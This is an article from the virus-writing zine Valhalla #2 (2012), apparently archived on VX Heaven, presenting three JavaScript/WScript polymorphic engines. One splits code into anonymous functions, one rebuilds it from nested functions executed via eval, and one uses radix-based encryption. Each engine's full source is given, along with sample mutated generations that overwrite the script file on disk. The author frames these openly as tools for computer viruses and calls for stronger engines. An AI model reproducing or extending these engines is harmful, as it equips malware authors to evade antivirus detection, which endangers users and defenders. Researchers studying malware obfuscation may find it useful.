Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Exotic Morphing Techniques in JavaScript II

SPTH
Valhalla #2
January 2012

1
[Back to index] [Comments]

0) Introduction

JavaScript is a beautiful language itself, and can be used for computer viruses as we all know in a simple way. jackie twoflower wrote the first JS polymorphism engine in 2001 (cant find the source - sorry); many years ago I have written two texts about that topic [1][2]; there have been several unconventional engines in recent years, for example roy g biv's [3][4] or hh86's [5] creations.

In this text I present three different methods. The first methode changes the structure by introding anonymous functions for small logical parts of the code. The second and third part are novel polymorphic encryption engines.

It seems to be possible to create a real self-recreating ("metamorphic") engine in JavaScript - I predict this to come true one fine day :-)

1) Anonymous Functions

In 2011, hh86 has shown us a beautiful way to use functions in an anonymous way [6]. One can implicitly define variables or arrays as a function.

This mutation engine parses itself, and defines part of the code as new anonymous functions or function-arrays:

for(i=0;i<10;i++)
{
    WScript.Echo('Hello');
    if(i>5) { WScript.Echo('VX'); WScript.Echo('s!'); }
    WScript.Echo(':-)');
}
 

This can be transformed into:

a=new Array(function(){WScript.Echo('VX');},function(){WScript.Echo('Hello');})
b=function(){WScript.Echo('s!');}
for(i=0;i<10;i++)
{
    a[1]();
    if(i>5) { a[0](); b(); }
    WScript.Echo(':-)');
}
 

or

a=new Array()(function(){    WScript.Echo('Hello');
    if(i>5) { WScript.Echo('VX'); WScript.Echo('s!'); }},function(){WScript.Echo(':-)');})
for(i=0;i<10;i++)
{
    a[1]();
    a[0]();
}
 

and so on...

Now the code

s=function(n){return(String.fromCharCode(n));}

fillit=function(n)
{
    RV='';
    l10=5-Math.log(n)/2.3025;
    for(x=0;x<l10;x++){RV+='0';}
    RV+=n;
    return(RV);
}

randomString=function()
{
    rndString='';
    n=Math.floor(Math.random()*10)+4;
    for(i=0;i<n;i++)
    {
        rndString+=s(Math.floor(Math.random()*26)+97);
    }
    return(rndString);
}

replaceTmpInst=function(TmpCode)
{
    while(TmpCode.search(s(95)+s(64))!=-1)
    {
        posA=TmpCode.search(s(95)+s(64));
        posO=TmpCode.search(s(64)+s(95));
        number=TmpCode.substring(posA+2,posO);
        TmpCode=TmpCode.substring(0,posA)+NewCode[number]+TmpCode.substring(posO+2);
    }
    return(TmpCode);
}


_fso=WScript.CreateObject('Scripting.FileSystemObject');
_code=_fso.OpenTextFile(WScript.ScriptFullName).ReadAll();
WScript.Echo(_code);

ParseInfo=new Array();
InstStart=new Array();
InstStart[0]=0;
InstPointer=0;

while(InstPointer<InstStart.length)
{
    i=InstStart[InstPointer];
    ParseInfo[InstPointer]=new Array();
    ElementPointer=0;
    _numBrak1=1;
    ElementStart=i;
    while(_numBrak1&&i<_code.length)
    {
        if(_code.substr(i,11)=='=new '+'Array'+s(40))
        {
            i+=11;
            _numBrak3=1;
            while(_numBrak3)
            {
                if(_code.substr(i,1)==s(40)) { _numBrak3++; }
                if(_code.substr(i++,1)==s(41)) { _numBrak3--; }
            }
            i++;
            ParseInfo[InstPointer][ElementPointer++]=_code.substr(ElementStart,i-ElementStart);            
            ElementStart=i;
        }

        if(_code.substr(i,10)=='=func'+'tion'+s(40))
        {
            i+=10;
            _numBrak3=1;
            while(_numBrak3)
            {
                if(_code.substr(i,1)==s(40)) { _numBrak3++; }
                if(_code.substr(i++,1)==s(41)) { _numBrak3--; }
            }
            while(_code.substr(i++,1)!=s(123))
            {
            }
            _numBrak3=1;
            while(_numBrak3)
            {
                if(_code.substr(i,1)==s(123)) { _numBrak3++; }
                if(_code.substr(i++,1)==s(125)) { _numBrak3--; }
            }
            i++;
            ParseInfo[InstPointer][ElementPointer++]=_code.substr(ElementStart,i-ElementStart);
            ElementStart=i;
        }

        if(_code.substr(i,4)==s(102)+s(111)+s(114)+s(40))
        {
            i+=4;
            _numBrak2=1;
            while(_numBrak2)
            {
                if(_code.substr(i,1)==s(40)) { _numBrak2++; }
                if(_code.substr(i++,1)==s(41)) { _numBrak2--; }
            }
        }

        if(_code.substr(i,1)==s(123))
        {
            _numBrak1++;
            InstStart.push(++i);
            ParseInfo[InstPointer][ElementPointer++]=_code.substr(ElementStart,i-ElementStart)+s(95)+s(64)+(InstStart.length-1)+s(64)+s(95)+s(125);
            while(_numBrak1>1)
            {
                if(_code.substr(i,1)==s(123)) { _numBrak1++; }
                if(_code.substr(i++,1)==s(125)) { _numBrak1--; }
            }
            ElementStart=i;
        }

        if(_code.substr(i,1)==s(125))
        {
            _numBrak1--;
        }

        if(_code.substr(i,1)==s(59))
        {
            ParseInfo[InstPointer][ElementPointer++]=_code.substr(ElementStart,i-ElementStart+1);
            ElementStart=i+1;
        }
        i++;
    }
    InstPointer++;
}


for(i=0; i<ParseInfo.length;i++)
{
    for(j=0;j<ParseInfo[i].length;j++)
    {
    }
}


ReplacedEntries=new Array();
NewCode=new Array();
for(i=0;i<ParseInfo.length;i++)
{
    NewCode[i]='';
    for(j=0;j<ParseInfo[i].length;j++)
    {
        AlreadyDid=0;
        if(Math.floor(Math.random()*3))
        {
            NewCode[i]+=ParseInfo[i][j];AlreadyDid=1;
        }
        if(!AlreadyDid)
        {
            tmpR=Math.floor(Math.random()*(ParseInfo[i].length-j-1));
            ReplacedEntries.push(ParseInfo[i].slice(j,j+tmpR+1).join(''));
            NewCode[i]+='tmp'+'Var'+fillit(ReplacedEntries.length)+s(40)+s(41)+s(59);
            j+=tmpR;
        }
    }
}


NewCode[0]=replaceTmpInst(NewCode[0]);

AnoFuncts=new Array();
AnoNameArr=randomString();
AnoArr=AnoNameArr+'=new'+' Array'+s(40);
ArrCount=0;
for(l=0;l<ReplacedEntries.length;l++)
{
    ReplacedEntries[l]=replaceTmpInst(ReplacedEntries[l]);
    AlreadyDid=0;
    if(Math.floor(Math.random()*3))
    {
        functionString=AnoNameArr+'['+ArrCount++ +']';
        AnoArr+='function'+s(40)+s(41)+s(123)+ReplacedEntries[l]+s(125)+',';
        AlreadyDid=1;
    }
    if(!AlreadyDid)
    {
        functionString=randomString();
        AnoFuncts.push(functionString+'=function'+s(40)+s(41)+s(123)+ReplacedEntries[l]+s(125)+s(59)+s(13)+s(10));
    }

    NewCode[0]=NewCode[0].replace('tmp'+'Var'+fillit(l+1),functionString);
    AnoArr=AnoArr.replace('tmp'+'Var'+fillit(l+1),functionString);
    for(m=0;m<AnoFuncts.length;m++)
    {
        AnoFuncts[m]=AnoFuncts[m].replace('tmp'+'Var'+fillit(l+1),functionString);
    }
    for(m=0;m<ReplacedEntries.length;m++)
    {
        ReplacedEntries[m]=ReplacedEntries[m].replace('tmp'+'Var'+fillit(l+1),functionString);
    }

}


if(AnoArr.substr(AnoArr.length-1)==',')
{
    NewCode[0]=AnoArr.substr(0,AnoArr.length-1)+s(41)+s(59)+s(13)+s(10)+NewCode[0];
}


for(i=0;i<AnoFuncts.length;i++)
{
    NewCode[0]=AnoFuncts[i]+NewCode[0];
}


WScript.Echo(NewCode[0]);
file=_fso.CreateTextFile(WScript.ScriptFullName);file.Write(NewCode[0]);file.close();
 

and one of its later generations, where the code is size-optimized

djojldonrowxm=function(){vrlbq[0]();};eveymzmvouj=function(){mdtgpmpuvazl=new Array(function(){
xyvvo[0]();xqtpr=new Array(function(){xubil=function(){fcS=ANA+'['+ArC++ +']';};aiaymdozllav=
function(){hzybixo[0]();};wwnruqtbbj=new Array(function(){yziuvmtpwwbh=function(){fi=function(n)
{RV='';l10=5-Math.log(n)/2.3025;for(x=0;x<l10;x++){RV+='0';}RV+=n;return(RV);};zxurrtohj();AoF=
new Array();ANA=rSt();AoA=ANA+'=new'+' Array'+s(40);};hzybixo=new Array(function(){ NCo[0]=NCo[
0].replace('tmp'+'Var'+fi(l+1),fcS);AoA=AoA.replace('tmp'+'Var'+fi(l+1),fcS);for(m=0;m<AoF.length;
m++){hzybixo[3]();}},function(){ for(m=0;m<REn.length;m++){hzybixo[4]();}},function(){fcS=rSt();},
function(){AoF[m]=AoF[m].replace('tmp'+'Var'+fi(l+1),fcS);},function(){REn[m]=REn[m].replace('tmp'
+'Var'+fi(l+1),fcS);});fjjcwcnsm=function(){nB1--;};},function(){jnwznbgkvjhij=function(){ADi=1;};
vyikfedxnq=function(){i=ISt[IPo];PIn[IPo]=new Array();EPo=0;nB1=1;ESt=i;while(nB1&&i<cc.length){if
(cc.substr(i,11)=='=new '+'Array'+s(40)){roiern[9]();roiern[10]();PIn[IPo][EPo++]=cc.substr(ESt,i-
ESt);ESt=i;}if(cc.substr(i,10)=='=func'+'tion'+s(40)){i+=10;nB3=1;while(nB3){if(cc.substr(i,1)==s(
40)){nB3++;}if(cc.substr(i++,1)==s(41)){nB3--;}}while(cc.substr(i++,1)!=s(123)){}nB3=1;while(nB3){
roiern[19]();qhgmagv();}roiern[11]();PIn[IPo][EPo++]=cc.substr(ESt,i-ESt);ESt=i;}if(cc.substr(i,4)
==s(102)+s(111)+s(114)+s(40)){roiern[12]();nB2=1;roiern[13]();}if(cc.substr(i,1)==s(123)){nB1++;
lzpdhhozmhmo();roiern[14]();}if(cc.substr(i,1)==s(125)){roiern[15]();}if(cc.substr(i,1)==s(59)){PIn
[IPo][EPo++]=cc.substr(ESt,i-ESt+1);ESt=i+1;}roiern[6]();}};zxurrtohj=function(){rSt=function(){rTp=
'';n=Math.floor(Math.random()*10)+4;for(i=0;i<n;i++){rTp+=s(Math.floor(Math.random()*26)+97);}return
(rTp);};rTI=function(TCo){while(TCo.search(s(95)+s(64))!=-1){pA=TCo.search(s(95)+s(64));pO=
TCo.search(s(64)+s(95));TCo=TCo.substring(0,pA)+NCo[TCo.substring(pA+2,pO)]+TCo.substring(pO+2);}
return(TCo);};fso=WScript.CreateObject('Scripting.FileSystemObject');cc=fso.OpenTextFile(
WScript.ScriptFullName).ReadAll();PIn=new Array();ISt=new Array();ISt[0]=0;IPo=0;while(IPo<ISt.length)
{vyikfedxnq();IPo++;} REn=new Array();NCo=new Array();for(i=0;i<PIn.length;i++){roiern[2]();roiern[3]();}
NCo[0]=rTI(NCo[0]);};roiern=new Array(function(){ if(AoA.substr(AoA.length-1)==','){roiern[4]();}
for(i=0;i<AoF.length;i++){roiern[5]();} file=fso.CreateTextFile(WScript.ScriptFullName);},function()
{file.close();},function(){NCo[i]='';},function(){for(j=0;j<PIn[i].length;j++){ADi=0;if(Math.floor(
Math.random()*3)){NCo[i]+=PIn[i][j];ADi=1;}if(!ADi){roiern[16]();j+=tpR;}}},function(){NCo[0]=AoA.substr(
0,AoA.length-1)+s(41)+s(59)+NCo[0];},function(){NCo[0]=AoF[i]+NCo[0];},function(){i++;},function()
{AoA+='function'+s(40)+s(41)+s(123)+REn[l]+s(125)+',';},function(){AoF.push(fcS+'=function'+s(40)+
s(41)+s(123)+REn[l]+s(125)+s(59));},function(){i+=11;nB3=1;while(nB3){roiern[17]();roiern[18]();}}
,function(){i++;},function(){i++;},function(){i+=4;},function(){while(nB2){if(cc.substr(i,1)==s(40
)){nB2++;}roiern[20]();}},function(){ESt=i;},function(){nB1--;},function(){tpR=Math.floor(Math.random(
)*(PIn[i].length-j-1));REn.push(PIn[i].slice(j,j+tpR+1).join(''));NCo[i]+='tmp'+'Var'+fi(REn.length)+
s(40)+s(41)+s(59);},function(){if(cc.substr(i,1)==s(40)){roiern[21]();}},function(){if(cc.substr(i++,
1)==s(41)){nB3--;}},function(){if(cc.substr(i,1)==s(123)){nB3++;}},function(){if(cc.substr(i++,1)==s(
41)){nB2--;}},function(){nB3++;});s=function(n){return(String.fromCharCode(n));};yziuvmtpwwbh();ArC=0
;for(l=0;l<REn.length;l++){wwnruqtbbj[2]();if(Math.floor(Math.random()*3)){xubil();wwnruqtbbj[3]();
wwnruqtbbj[4]();}if(!ADi){hzybixo[2]();roiern[8]();}aiaymdozllav();hzybixo[1]();}xtoefknthtltz();},
function(){REn[l]=rTI(REn[l]);ADi=0;},function(){roiern[7]();},function(){jnwznbgkvjhij();});
xtoefknthtltz=function(){roiern[0]();};wwnruqtbbj[0]();ocyflkcwqv=function(){nB3--;};qhgmagv=
function(){if(cc.substr(i++,1)==s(125)){ocyflkcwqv();}};lzpdhhozmhmo=function(){ISt.push(++i);
PIn[IPo][EPo++]=cc.substr(ESt,i-ESt)+s(95)+s(64)+(ISt.length-1)+s(64)+s(95)+s(125);while(nB1>1){
if(cc.substr(i,1)==s(123)){ nB1++;}if(cc.substr(i++,1)==s(125)){fjjcwcnsm();}}};wwnruqtbbj[1]();});
});xyvvo=new Array(function(){vrlbq=new Array(function(){roiern[1]();});acqv=new Array(function(){
xqtpr[0]();file.Write(NCo[0]);});});mdtgpmpuvazl[0]();acqv[0]();};eveymzmvouj();djojldonrowxm();
 

2) Functional programming paradigm

Functional coding style, where the program consists of functions only. It it used for several computational-learning projects, and it has some advantage for calculation recursive defined functions such as the factorial. (See my text about infection of F# files as an example [7])

This paradigm can be used for a mutation engine too. In my example, the code is executed via 'eval', and the code is created by several function calls. For example:

WScript.Echo("Hello VXers!");
 

can be written as

function ojcdq(){return('W')}
function tzcpzbnwhtg(){return('Sc'+'rip'+'t')}
function wcvuwwmtz(){return('("')}
function wtjuexpfx(){return(wcvuwwmtz()+'He')}
function ulungrnk(){return(''+'ho'+wtjuexpfx())}
function lprsoom(){return('Xe')}
function wyzqqqw(){return(lprsoom()+'r')}
function nkwfmavxxuxl(){return(wyzqqqw()+'s!')}
function xvqdwuu(){return('')}
eval(ojcdq()+tzcpzbnwhtg()+'.Ec'+ulungrnk()+'llo'+' V'+nkwfmavxxuxl()+'")'+';'+xvqdwuu());
 

After 2-3 few generations, the code is absolutly unreadable. See the engine:

function randomName(){rv="";tmp=Math.random()*10+3;for(j=0;j<tmp;j++)
{rv+=String.fromCharCode(Math.floor(Math.random()*26+97));}return(rv)}
function sortNumber(a,b){return(a-b)}

function func(str)
{
    a=new Array(0,str.length);
    for(i=0;i<Math.floor(str.length/15);i++)
    {
        a.push(Math.floor(Math.random()*(str.length+1)));
    }
    a=a.sort(sortNumber);

    newcode="";
    for(i=0;i<(a.length-1);i++)
    {
        if(Math.random()>0.7)
        {
            newfnames.push(randomName());
            newfuncts.push(str.substring(a[i],a[i+1]));
            newcode+=newfnames[newfnames.length-1]+"()+";
        }
        else
        {
            newcode+=String.fromCharCode(89)+str.substring(a[i],a[i+1])+String.fromCharCode(89)+"+";
        }
    }
    return(newcode.substr(0,newcode.length-1));
}

fso=WScript.CreateObject("Scripting.FileSystemObject");
code=fso.opentextfile(WScript.scriptfullname).readall();
newfuncts=new Array();
newfnames=new Array();

allcode="eval("+func(code)+");";
while(newfuncts.length)
{
    allcode="function "+newfnames.pop()+"(){return("+func(newfuncts.pop())+")}"+allcode;
}
while(allcode.lastIndexOf(String.fromCharCode(39))!=-1)
{
    allcode=allcode.replace(String.fromCharCode(39),String.fromCharCode(89)+"+String.fromCharCode(39)+"+String.fromCharCode(89))
}
while(allcode.lastIndexOf(String.fromCharCode(89))!=-1)
{
    allcode=allcode.replace(String.fromCharCode(89),String.fromCharCode(39))
}
WScript.Echo(allcode);
file=fso.CreateTextFile(WScript.scriptfullname);file.Write(allcode);file.close();
 

You have to remove line-breaks to get it working.

3) Radix games

This idea is encryption based on different base-systems, such as binary, decimal, hexadecimal. JavaScript provides a function that transforms numbers to different base-systems (parseInt(m,r)).

The idea comes from hh86, i just put together the code :) The engine is very simple, yet the outcome is pretty beautiful:

function d(m,r){return(String.fromCharCode(parseInt(m,r)));}

c=String.fromCharCode(34);
v="ns='s=new Array(';no='o=new Array("+c+"';for (i=0;i<v.length;i++){
        n=Math.round(Math.random()*100)*65536+v.charCodeAt(i);r=
        Math.round(Math.random()*33)+2;m=(n).toString(r);if(i)
        {ns+=',';no+='"
+c+","+c+"';}ns+=r;no+=m;}";
v+="nv='function d(m,r){return(String.fromCharCode(parseInt(m,r)));}'+ns+');'+no+'"+c+");v="+
        c+c+";for(i=0;i<o.length;i++){v+=d(o[i],s[i])};eval(v);';WScript.Echo(nv);var fso=WScript.CreateObject("+
        c+"Scripting.FileSystemObject"+c+");file=fso.CreateTextFile("+c+"ng.js"+c+");file.Write(nv);file.close()";
s=new Array()
o=new Array()
for(i=0;i<v.length;i++)
{
  s.push(10);
  o.push(""+v.charCodeAt(i));
}

ns='s=new Array(';no='o=new Array("';for (i=0;i<v.length;i++){n=
        Math.round(Math.random()*100)*65536+v.charCodeAt(i);r=
        Math.round(Math.random()*33)+2;m=(n).toString(r);if(i)
        {ns+=',';no+='","';}ns+=r;no+=m;}
nv='function d(m,r){return(String.fromCharCode(parseInt(m,r)));}'+
        ns+');'+no+'");v="";for(i=0;i<o.length;i++){v+=d(o[i],s[i])};eval(v);';
WScript.Echo(nv);var fso=WScript.CreateObject("Scripting.FileSystemObject");
        file=fso.CreateTextFile("ng.js");file.Write(nv);file.close()
 

One mutated file might look like this

function d(m,r){return(String.fromCharCode(parseInt(m,r)));}s=new Array(
20,25,12,27,24,14,26,21,19,35,26,20,5,16,13,11,19,23,17,33,4,16,12,28,13,
24,20,33,29,9,4,17,14,22,14,15,14,27,21,15,30,13,28,27,9,26,21,23,35,19,9
,26,20,2,14,8,21,8,24,30,31,12,11,21,21,24,18,3,12,25,28,12,14,32,6,6,7,
23,8,24,24,34,27,8,11,17,3,25,19,3,25,3,23,17,33,15,22,21,28,16,23,25,15,
31,24,29,23,17,26,8,31,8,14,27,24,17,29,23,26,27,13,5,9,20,24,34,23,20,15,
34,11,12,20,12,29,33,7,19,15,7,20,8,24,11,31,10,6,32,6,4,10,5,11,7,26,8,26,
23,9,5,8,27,13,24,35,12,19,26,27,3,16,17,21,25,21,19,22,27,28,13,16,10,12,
4,21,11,26,26,13,3,17,27,12,19,27,6,21,9,35,9,23,11,21,29,9,7,23,11,19,30,
19,7,28,34,18,28,5,6,13,10,29,28,32,7,4,23,16,4,8,16,12,15,4,14,7,34,29,
27,13,3,32,22,5,30,8,20,32,24,11,5,5,14,30,32,22,6,13,23,3,4,31,17,6,18,
10,33,31,18,22,23,26,21,3,30,7,7,35,3,4,16,24,27,26,20,13,4,33,3,20,17,35,
5,24,13,9,14,33,11,18,29,16,10,34,15,3,17,29,12,34,24,23,19,34,3,34,15,11,
29,14,2,11,28,7,27,9,27,20,24,14,25,23,25,19,21,11,30,26,24,20,16,34,4,7,
17,25,18,15,29,14,31,10,9,7,10,20,26,27,19,27,9,3,32,25,15,12,18,19,18,10,
14,33,25,25,17,33,32,31,24,3,20,33,20,18,9,22,27,10,31,25,24,8,10,11,5,15,
4,8,33,10,16,34,12,17,28,20,3,26,9,3,14,12,7,23,28,22,7,23,26,4,22,20,31,
20,24,14,15,27,32,11,12,10,15,10,16,10,33,12,8,22,17,28,28,26,19,12,25,8,5,
22,19,16,5,23,22,22,15,4,4,27,18,11,22,16,14,6,9,32,15,3,31,23,31,24,3,27,
4,22,21);o=new Array("7fd4e","en7cj","382bb9","1jgh2","e5cj","182713",
"37joa","15k2hg","fb418","4ctvm","5j3p3","14jeaa","2201444311","120061",
"a31249","3289a97","2behb2","c424l","d629","4sfv1","3200000331","110027",
"210303b","508p1","778965","5chml","109c5j","3jho1","3sfq9","7133237",
"1100001302","2g3c88","9c2853","g4lcc","19c546","1ad58e","90356b","4ln4o",
"13cccj","36bb54","ql0s","347a26","14ni1","6hnl","10221406","3j0n","1ae47d",
"67a14","23d1b","eb1f1","2746728","7fg8d","1c73ce","1000010000000001100111",
"2cd35a","6600150","921b8","22600151","akhkb","2to95","qcc3","a33223",
"2778518","ii63c","i42kh","779mh","1g6156","21122102211221","1579092",
"4hb4m","5f6pj","1120445","455bb0","3e034","41141304","240531245","2533422",
"g3f91","15400150","6lm76","921na","3vdf7","5lda7","2400144","3697473",
"29g06c","111022122112","6deck","1idbbi","22111202001201","1045e",
"102120222112011","1045jc","2154c2","1nhkp","6331b5","3k3h3","14jij2","2cij2",
"19002b","diic5","1491n","b9bd3","2uca2","5m5c1","7ha2i","k358d","49ba76",
"84e2o","12600145","1uigs","13400164","7b27a0","6hpb","i8l9h","3fc0d","8n83o",
"3h46l","443el","aq92i","47881c","1442213403","12638370","1b2c2a","ii91n",
"2m1g1","ffke0","1djij8","15aa7b","19c21","3120096","ba2898","15g23c","147143a",
"44qnl","42vdf","26024510","b1431","750881","45265225","122794","1600051",
"d5f4a","185951a","21omg","6225961","322112351","5k01i","22014203","2000001231",
"4390973","2033204334","656991","32645001","bjji6","31000164","d1887","1k25h",
"7353055","2124201343","14200151","3peoa","692769","2i8n0","3kbyq","1046661",
"1cci3d","50d7f","8ab6b","20021210212201","500069","221a82","1b77d0","1l3f6",
"da1bk","23e0i2","10252d","77c1k","1glq4","40a144","30003b","5963886","5007a7",
"13200000223","88j6k","2812721","7bn78","9flco","5a9523","1121021201211",
"169344","1cppk","1a7983a","15c3ei","8h1pk","305440141","kifje","10441234",
"w3jq","5484523","f52g7","3697428","18dff5","84dgq","1427852","54360040",
"ja1ie","2042166","70ece","2crs","204373","53302643","3kdnf","4kp56","23h3cd",
"44c67","1123243024","220140332","b61c99","4063272","6rfhc","508oc","5u03i",
"5366535","22200001323","931i5","70065","32100001310","13200165","2a0072",
"1a7983a","57cb7e","22300001103","665c0c","21412132","2kcq5","1jan9","9a1be",
"992873","10012120111112","3403i","adjdd","1101000110","lpd1","21000150",
"6b1dd","1a03i","5m5aj","3572789","2142400111","200132113","70d372","2f7e8",
"3o031","50hbc","242155015","40a191","h7dh3","22010202110012","3200001310",
"1nuss","4c0gd","322112352","305bhc","3342377","3lbu8","59um5","1a1c75",
"ig88d","ke023","d5147","8g011","22212201211221","7rq5l","62002261","26416413",
"31yxo","11001212201000","113200000223","22006e","7glcf","4ln2j","9flcj",
"83ghe","585757","103300000323","3lbwj","2012221020221","1djig2","1da415",
"juim","3102312213","i8lcf","130b25","8561848","681a53","13fll","1983201",
"8d5hd","1b90g","3003c","3145839","2m1dw","49d91c","101222100002211","12a89g",
"5qsbl","1579130","2717u","2b","6i4kl","1idbc0","3oolh","21112002212100",
"1rno7","a55a6","27331a9","ing4","77ab40","10000000000101000","2733260",
"3qd0b","6454053","1cpof","13287816","7o2hn","iggh7","a6cf1","229d13","f2c66",
"l1i0f","9i6km","6a45e","14jj16","3244880","699r6","bncgg","g004m","19i089",
"21003b","1cndx","31000000323","53302611","38adb6","491ba","3d7hc","1d7367",
"76hb3","875c44","2coll","2359365","11430451","103235415","5963887","1baffc",
"6mpfk","d8kb","224764","64d04","1537752","201222112011","2c03i","b60cj",
"184850","190a183","2d5de7","1g3fic","183hc3","4390995","630135","3p0bb",
"g2gcb","654mj","586d4","5fj7","3m023","5ec5k","2df6l","21101210001011",
"1g0i44","phk7","cdj4f","2cc98e","8232308","g4lf7","5ld9n","2031732","4l5th",
"44lc9","872jb","26200143","1638514","31200a3","323020433","6715cb","113000001221",
"12200156","2htcb","4456494","440046","1mnl3","b3aa64","1gca68","4m9kj",
"d233d","100010101122110","34100","6034143","11012012200212","bd2859",
"1aab742","106101643","53bg0","6b3hn","1408ji","53302504","70dfc","b12ph",
"31000001212","1eke5","202gbg","21oo4","31","5chmm","665c0b","3be665","83k9m",
"20023","1168518","1333919","5898337","4dbce8","852069","5d0054","5046373",
"5hc3j","143b584","14600106","j6f3b","3age10","85ojh","5o5go","c8hc6","22di12",
"1bb739b","c1okd","15600152","1310231004","12ddfc","244b95","21003b",
"3020420124","5jf88","2b8j2","4d","1c2bd7","33100001113","112300001302",
"8ab6e","1bh772","1734880","13g57a","25006e","b80d70","42404533","8561870",
"5c036","11c6ed","2201020220201","21oo4","mljm8","6bum0","2df74","21101210001200",
"54mo4","2200001211","dfck8","584h3");v="";for(i=0;i<o.length;i++){v+=d(o[i],s[i])};eval(v);
 

4) Conclusion

JavaScript allows many kind of mutation engines. Obviously much stronger engines would be possible. We should work on this some day! :-)

Second Part To Hell
January 2012
  1. SPTH, "Polymorphism in JavaScript", in rRlf#4, August 2003
  2. SPTH, "Exotic Morphing Techniques In JavaScript", in rRlf#4, October 2003
  3. roy g biv, "Self-crypting script files", in 29a#7, Februar 2003.
  4. roy g biv, "Polymorphism using the Microsoft Script Encoder", rRlf#7, March 2006
  5. hh86, "I Err.Raise, you fall", in Valhalla#1, August 2011
  6. hh86, "Function Me", in Valhalla#1, August 2011
  7. SPTH, "A brief viral Introduction into F#", in rRlf#7, July 2006
[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxer.org aka vx.netlux.org
deenesitfrplruua